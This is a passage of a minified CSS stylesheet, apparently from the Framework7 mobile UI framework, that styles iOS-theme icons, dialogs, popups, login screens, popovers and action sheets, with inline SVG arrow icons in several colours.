.icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-pink .icon-back,.ios .color-theme-pink .icon-prev,.ios .icon-back.color-pink,.ios .icon-prev.color-pink,.ios a.link.color-pink .icon-back,.ios a.link.color-pink .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff2d55'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-pink .icon-forward,.ios .color-theme-pink .icon-next,.ios .icon-forward.color-pink,.ios .icon-next.color-pink,.ios a.link.color-pink .icon-forward,.ios a.link.color-pink .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff2d55'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .icon-back,.ios .color-theme-yellow .icon-prev,.ios .icon-back.color-yellow,.ios .icon-prev.color-yellow,.ios a.link.color-yellow .icon-back,.ios a.link.color-yellow .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ffcc00'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .icon-forward,.ios .color-theme-yellow .icon-next,.ios .icon-forward.color-yellow,.ios .icon-next.color-yellow,.ios a.link.color-yellow .icon-forward,.ios a.link.color-yellow .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ffcc00'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-orange .icon-back,.ios .color-theme-orange .icon-prev,.ios .icon-back.color-orange,.ios .icon-prev.color-orange,.ios a.link.color-orange .icon-back,.ios a.link.color-orange .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff9500'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-orange .icon-forward,.ios .color-theme-orange .icon-next,.ios .icon-forward.color-orange,.ios .icon-next.color-orange,.ios a.link.color-orange .icon-forward,.ios a.link.color-orange .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff9500'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-gray .icon-back,.ios .color-theme-gray .icon-prev,.ios .icon-back.color-gray,.ios .icon-prev.color-gray,.ios a.link.color-gray .icon-back,.ios a.link.color-gray .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%238e8e93'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-gray .icon-forward,.ios .color-theme-gray .icon-next,.ios .icon-forward.color-gray,.ios .icon-next.color-gray,.ios a.link.color-gray .icon-forward,.ios a.link.color-gray .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%238e8e93'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .icon-back,.ios .color-theme-white .icon-prev,.ios .icon-back.color-white,.ios .icon-prev.color-white,.ios a.link.color-white .icon-back,.ios a.link.color-white .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ffffff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .icon-forward,.ios .color-theme-white .icon-next,.ios .icon-forward.color-white,.ios .icon-next.color-white,.ios a.link.color-white .icon-forward,.ios a.link.color-white .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ffffff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-black .icon-back,.ios .color-theme-black .icon-prev,.ios .icon-back.color-black,.ios .icon-prev.color-black,.ios a.link.color-black .icon-back,.ios a.link.color-black .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23000000'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-black .icon-forward,.ios .color-theme-black .icon-next,.ios .icon-forward.color-black,.ios .icon-next.color-black,.ios a.link.color-black .icon-forward,.ios a.link.color-black .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23000000'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .icon.color-red{color:#ff3b30}.ios .icon.color-green{color:#4cd964}.ios .icon.color-blue{color:#007aff}.ios .icon.color-pink{color:#ff2d55}.ios .icon.color-yellow{color:#fc0}.ios .icon.color-orange{color:#ff9500}.ios .icon.color-gray{color:#8e8e93}.ios .icon.color-white{color:#fff}.ios .icon.color-black{color:#000}.custom-modal-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s;z-index:10500}.custom-modal-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.custom-modal-backdrop.backdrop-in{visibility:visible;opacity:1}.dialog-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s}.dialog-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.dialog-backdrop.backdrop-in{visibility:visible;opacity:1}.dialog{position:absolute;z-index:13500;left:50%;margin-top:0;top:50%;overflow:hidden;opacity:0;-webkit-transform:translate3d(0,0,0) scale(1.185);transform:translate3d(0,0,0) scale(1.185);-webkit-transition-property:opacity,-webkit-transform;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;display:none;-webkit-transition-duration:.4s;transition-duration:.4s}.dialog.modal-in{opacity:1;-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1)}.dialog.modal-out{opacity:0;z-index:13499}.dialog.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.dialog-inner{position:relative}.dialog-title{font-weight:500}.dialog-buttons{position:relative;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.dialog-buttons-vertical .dialog-buttons{display:block;height:auto!important}.dialog-no-buttons .dialog-buttons{display:none}.dialog-input-field{position:relative}.dialog-input-field .item-input-wrap{margin:0;padding:0}.dialog-input{-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;margin-top:15px;border-radius:0;-webkit-appearance:none;-moz-appearance:none;appearance:none;width:100%;display:block;font-family:inherit;-webkit-box-shadow:none;box-shadow:none}html.with-modal-dialog .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}.ios .dialog{width:270px;margin-left:-135px;text-align:center;border-radius:13px;color:#000}.ios .dialog.modal-out{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1)}.ios .dialog-inner{padding:15px;border-radius:13px 13px 0 0;background:rgba(255,255,255,.95)}.ios .dialog-inner:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .dialog-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .dialog-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .dialog-title{font-size:18px;text-align:center;font-weight:600}.ios .dialog-title+.dialog-text{margin-top:5px}.ios .dialog-buttons{height:44px;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ios .dialog-button{width:100%;padding:0 5px;height:44px;font-size:17px;line-height:44px;text-align:center;color:#007aff;display:block;position:relative;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;cursor:pointer;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-flex:1;-ms-flex:1;background:rgba(255,255,255,.95)}.ios .dialog-button:first-child{border-radius:0 0 0 13px}.ios .dialog-button:last-child{border-radius:0 0 13px 0}.ios .dialog-button:last-child:after{display:none!important}.ios .dialog-button:first-child:last-child{border-radius:0 0 13px 13px}.ios .dialog-button.dialog-button-bold{font-weight:500}.ios .dialog-button.active-state{background:rgba(230,230,230,.95)}.ios .dialog-buttons-vertical .dialog-buttons{height:auto}.ios .dialog-buttons-vertical .dialog-button{border-radius:0}.ios .dialog-buttons-vertical .dialog-button:last-child{border-radius:0 0 13px 13px}.ios .dialog-buttons-vertical .dialog-button:last-child:after{display:none!important}.ios .dialog-button:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:0;right:0;bottom:auto;left:auto;width:1px;height:100%;-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.ios.device-pixel-ratio-2 .dialog-button:after{-webkit-transform:scaleX(.5);transform:scaleX(.5)}.ios.device-pixel-ratio-3 .dialog-button:after{-webkit-transform:scaleX(.33);transform:scaleX(.33)}.ios .dialog-buttons-vertical .dialog-button:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .dialog-buttons-vertical .dialog-button:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .dialog-buttons-vertical .dialog-button:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .dialog-no-buttons .dialog-inner{border-radius:13px}.ios .dialog-no-buttons .dialog-inner:after{display:none!important}.ios .dialog-input-field{margin-top:15px}.ios .dialog-input-field .item-input-wrap{margin:0}.ios .dialog-input{height:26px;background:#fff;padding:0 5px;border:1px solid rgba(0,0,0,.3);font-size:14px}.ios .dialog-input+.dialog-input{margin-top:5px}.ios .dialog-input-double+.dialog-input-double{margin-top:0}.ios .dialog-input-double+.dialog-input-double .dialog-input{border-top:0;margin-top:0}.ios .dialog-preloader .dialog-text~.preloader,.ios .dialog-preloader .dialog-title~.preloader{margin-top:5px}.ios .dialog-preloader .preloader{width:34px;height:34px}.ios .dialog-progress .dialog-text~.progressbar,.ios .dialog-progress .dialog-text~.progressbar-infinite,.ios .dialog-progress .dialog-title~.progressbar,.ios .dialog-progress .dialog-title~.progressbar-infinite{margin-top:15px}.ios .dialog-button.color-red{color:#ff3b30}.ios .dialog-button.color-green{color:#4cd964}.ios .dialog-button.color-blue{color:#007aff}.ios .dialog-button.color-pink{color:#ff2d55}.ios .dialog-button.color-yellow{color:#fc0}.ios .dialog-button.color-orange{color:#ff9500}.ios .dialog-button.color-gray{color:#8e8e93}.ios .dialog-button.color-white{color:#fff}.ios .dialog-button.color-black{color:#000}.popup-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s;z-index:10500}.popup-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popup-backdrop.backdrop-in{visibility:visible;opacity:1}.popup{position:absolute;left:0;top:0;width:100%;height:100%;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);background:#fff;z-index:11000}.popup.modal-in,.popup.modal-out{-webkit-transition-duration:.4s;transition-duration:.4s}.popup.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popup.modal-in{display:block;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.popup.modal-out{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}@media (min-width:630px) and (min-height:630px){.popup:not(.popup-tablet-fullscreen){width:630px;height:630px;left:50%;top:50%;margin-left:-315px;margin-top:-315px;-webkit-transform:translate3d(0,100vh,0);transform:translate3d(0,100vh,0)}.popup:not(.popup-tablet-fullscreen).modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.popup:not(.popup-tablet-fullscreen).modal-out{-webkit-transform:translate3d(0,100vh,0);transform:translate3d(0,100vh,0)}}@media (max-width:629px),(max-height:629px){html.with-statusbar .popup-backdrop{z-index:9500}html.with-statusbar.device-ios .popup,html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup{height:calc(100% - 20px);top:20px}html.with-statusbar.device-iphone-x .popup{height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top));top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}html.with-statusbar.device-android .popup,html.with-statusbar.md:not(.device-ios):not(.device-android) .popup{height:calc(100% - 24px);top:24px}}@media (min-width:630px),(min-height:630px){html.with-statusbar.device-ios .popup-tablet-fullscreen,html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup-tablet-fullscreen{height:calc(100% - 20px);top:20px}html.with-statusbar.device-iphone-x .popup-tablet-fullscreen{height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top));top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}html.with-statusbar.device-android .popup-tablet-fullscreen,html.with-statusbar.md:not(.device-ios):not(.device-android) .popup-tablet-fullscreen{height:calc(100% - 24px);top:24px}}html.with-modal-popup .framework7-root>.panel .page-content,html.with-modal-popup .framework7-root>.view .page-content,html.with-modal-popup .framework7-root>.views .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}.login-screen{position:absolute;left:0;top:0;width:100%;height:100%;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);background:#fff;z-index:11000}.login-screen.modal-in,.login-screen.modal-out{-webkit-transition-duration:.4s;transition-duration:.4s}.login-screen.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.login-screen.modal-in{display:block;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.login-screen.modal-out{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}html.with-statusbar.device-ios .login-screen,html.with-statusbar.ios:not(.device-ios):not(.device-android) .login-screen{height:calc(100% - 20px);top:20px}html.with-statusbar.device-iphone-x .login-screen{height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top));top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}html.with-statusbar.device-android .login-screen,html.with-statusbar.md:not(.device-ios):not(.device-android) .login-screen{height:calc(100% - 24px);top:24px}.login-screen-content{background:#fff}.login-screen-content .block,.login-screen-content .block-footer,.login-screen-content .block-header,.login-screen-content .list,.login-screen-content .login-screen-title{max-width:480px}.login-screen-content .list ul{background:0 0}.login-screen-content .list ul:before{display:none!important}.login-screen-content .list ul:after{display:none!important}.login-screen-content .block-footer,.login-screen-content .block-header{text-align:center;margin-left:auto;margin-right:auto}.login-screen-title{text-align:center}.ios .login-screen-content .block,.ios .login-screen-content .list,.ios .login-screen-content .login-screen-title{margin:25px auto}.ios .login-screen-title{font-size:30px}.ios .theme-dark .login-screen-content,.ios .theme-dark .login-screen-content .list ul{background-color:transparent}.popover-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s}.popover-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popover-backdrop.backdrop-in{visibility:visible;opacity:1}.popover{width:260px;z-index:13500;margin:0;top:0;opacity:0;left:0;position:absolute;display:none;-webkit-transition-duration:.3s;transition-duration:.3s}.popover .list{margin:0}.popover .list ul{background:0 0}.popover .list:first-child ul:before{display:none!important}.popover .list:last-child ul:after{display:none!important}.popover.modal-in{opacity:1}.popover.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popover-inner{overflow:auto;-webkit-overflow-scrolling:touch}.popover-from-actions-bold{font-weight:600}.popover-from-actions-label{line-height:1.3;position:relative}.popover-from-actions-label:last-child:after{display:none!important}.ios .popover{background:rgba(255,255,255,.95);border-radius:13px;-webkit-transform:none;transform:none;-webkit-transition-property:opacity;transition-property:opacity}.ios .popover .list:first-child ul{border-radius:13px 13px 0 0}.ios .popover .list:first-child li:first-child,.ios .popover .list:first-child li:first-child a,.ios .popover .list:first-child li:first-child>label{border-radius:13px 13px 0 0}.ios .popover .list:last-child ul{border-radius:0 0 13px 13px}.ios .popover .list:last-child li:last-child,.ios .popover .list:last-child li:last-child a,.ios .popover .list:last-child li:last-child>label{border-radius:0 0 13px 13px}.ios .popover .list:first-child:last-child li:first-child:last-child,.ios .popover .list:first-child:last-child li:first-child:last-child a,.ios .popover .list:first-child:last-child li:first-child:last-child>label,.ios .popover .list:first-child:last-child ul{border-radius:13px}.ios .popover .list+.list{margin-top:35px}.ios .popover-angle{width:26px;height:26px;position:absolute;left:-26px;top:0;z-index:100;overflow:hidden}.ios .popover-angle:after{content:'';background:rgba(255,255,255,.95);width:26px;height:26px;position:absolute;left:0;top:0;border-radius:3px;-webkit-transform:rotate(45deg);transform:rotate(45deg)}.ios .popover-angle.on-left{left:-26px}.ios .popover-angle.on-left:after{left:19px;top:0}.ios .popover-angle.on-right{left:100%}.ios .popover-angle.on-right:after{left:-19px;top:0}.ios .popover-angle.on-top{left:0;top:-26px}.ios .popover-angle.on-top:after{left:0;top:19px}.ios .popover-angle.on-bottom{left:0;top:100%}.ios .popover-angle.on-bottom:after{left:0;top:-19px}.ios .popover-from-actions .list+.list{margin-top:20px}.ios .popover-from-actions .list ul{background:#fff}.ios .popover-from-actions .item-link i.icon{width:29px;height:29px;font-size:29px}.ios .popover-from-actions-label{padding:8px 10px;color:#8a8a8a;font-size:13px;text-align:center}.ios .popover-from-actions-label:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .popover-from-actions-label:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .popover-from-actions-label:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .theme-dark .popover,.popover.ios .theme-dark{background:rgba(30,30,30,.95)}.ios .theme-dark .popover .popover-angle:after,.popover.ios .theme-dark .popover-angle:after{background:rgba(30,30,30,.95)}.ios .theme-dark .popover .list ul,.popover.ios .theme-dark .list ul{background-color:transparent}.actions-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s}.actions-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.actions-backdrop.backdrop-in{visibility:visible;opacity:1}.actions-modal{position:absolute;left:0;bottom:0;z-index:13500;width:100%;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);display:none;max-height:100%;overflow:auto;-webkit-overflow-scrolling:touch;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.actions-modal.modal-in,.actions-modal.modal-out{-webkit-transition-duration:.3s;transition-duration:.3s}.actions-modal.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.actions-modal.modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.actions-modal.modal-out{z-index:13499;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}@media (min-width:496px){.actions-modal{width:480px;left:50%;margin-left:-240px}}.actions-group{position:relative}.actions-button,.actions-label{width:100%;font-weight:400;margin:0;-webkit-box-sizing:border-box;box-sizing:border-box;display:block;position:relative}.actions-button a,.actions-label a{text-decoration:none;color:inherit;display:block}.actions-button b,.actions-button.actions-button-bold,.actions-label b,.actions-label.actions-button-bold{font-weight:500}.actions-button{cursor:pointer;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.actions-button-media{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.actions-button-text{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1}.actions-label{line-height:1.3;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.actions-grid .actions-group{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.actions-grid .actions-button{width:33.33333333%;display:block}.actions-grid .actions-button-media{margin-left:auto;margin-right:auto}.actions-grid .actions-button-text{margin-left:0!important;text-align:center}.ios .actions-group{margin:8px;border-radius:13px;overflow:hidden;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ios .actions-button,.ios 